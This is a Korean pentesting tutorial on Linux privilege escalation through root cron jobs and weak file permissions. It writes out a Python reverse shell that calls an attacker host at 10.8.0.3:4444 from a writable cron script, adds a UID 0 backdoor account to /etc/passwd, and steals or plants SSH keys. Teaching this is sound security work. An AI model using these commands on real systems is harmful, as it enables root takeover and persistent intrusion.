모의해킹
호스트기반모의해킹_37_리눅스 작업 스케줄링 및 파일 권한 악용
작성자 : Heehyeon Yoo|2025-12-13
# 모의해킹# Post-Exploitation# Linux# Privilege Escalation# Cron
1. 개요
시스템 자동화 작업(Cron)과 잘못된 파일 권한(Weak Permissions)은 빈번하게 발생하는 권한 상승 경로다.
공격자는 주기적으로 실행되는 스크립트를 변조하거나, 중요한 시스템 파일(/etc/passwd, SSH Key)을 덮어써서 시스템을 장악한다.
2. Cron 작업 악용(Scheduled Tasks)
Cron은 리눅스의 작업 스케줄러다. 만약 Root 권한으로 주기적으로 실행되는 스크립트가 있는데, 그 스크립트 파일에 일반 사용자의 쓰기 권한(Write Permission)이 있다면 공격이 성립된다.
2.1 Cron 작업 확인
- 사용자 Cron:
crontab -l(현재 사용자의 스케줄만 확인 가능, 보통 권한 상승엔 무의미). - 시스템 Cron(★중요):
cat /etc/crontabls -al /etc/cron.d/ls -al /etc/cron.daily/등.- 여기서 정의된 작업들은 주로 Root 권한으로 실행된다.
2.2 공격 시나리오(실습)
- 탐색:
/etc/cron.d/backup파일을 확인하니, 1분마다root권한으로/tmp/one-time-backup.py를 실행하고 있다.# /etc/cron.d/backup 내용 * * * * * root /usr/bin/python3 /tmp/one-time-backup.py - 권한 확인: 해당 스크립트의 권한을 확인한다.
ls -l /tmp/one-time-backup.py # -rwxrwxrwx 1 root root ...(누구나 쓰기 가능!) - 코드 주입(Exploitation): 스크립트 내용을 Reverse Shell 코드로 덮어쓴다.
# one-time-backup.py 수정 import socket,os,pty;s=socket.socket();s.connect(("10.8.0.3",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh") - 대기 및 쉘 획득: 공격자 PC(Kali)에서 핸들러(
nc -lvnp 4444)를 열고 1분을 기다린다. Cron이 실행되면 Root 쉘이 연결된다.
3. 취약한 파일 권한 악용(Weak File Permissions)
시스템 운영에 필수적인 파일들이 잘못된 권한(777 등)으로 설정된 경우를 타겟팅한다.
3.1 /etc/passwd 변조
- 개요: 사용자 계정 정보가 담긴 파일.(비밀번호 해시는
/etc/shadow에 있지만,passwd파일은 사용자 매핑을 담당). - 취약점: 만약
/etc/passwd파일이 쓰기 가능(Writable)하다면? - 공격: 공격자는 [새로운 Root 계정]을 직접 추가할 수 있다.
# 비밀번호 'password'의 해시 생성 openssl passwd "password" # 결과: $1$k...(생략) # /etc/passwd 파일 끝에 'hacker' 계정(UID 0) 추가 echo "hacker:$1$k...:0:0:root:/root:/bin/bash" >> /etc/passwd # 로그인 su hacker #(Root 권한 획득)
3.2 SSH 키 탈취(SSH Key Hijacking)
- 탐색: 다른 사용자(또는 Root)의 홈 디렉토리 내
.ssh폴더 권한 확인.ls -al /root/.ssh/ - 만약
id_rsa(Private Key) 파일이 읽기 가능하다면, 이를 복사하여 공격자 PC에서ssh -i id_rsa root@[IP]로 접속한다. - 만약
authorized_keys파일이 쓰기 가능하다면, 공격자의 공개키(Public Key)를 추가하여 접속 허용을 뚫는다.
4. 실무 팁
- pspy64: 권한이 낮아
/etc/cron.d를 읽을 수 없을 때, 실행 중인 프로세스를 실시간으로 모니터링해주는 도구인pspy를 사용하면 숨겨진 Cron 작업(주기적으로 생성되었다 사라지는 프로세스)을 탐지할 수 있다.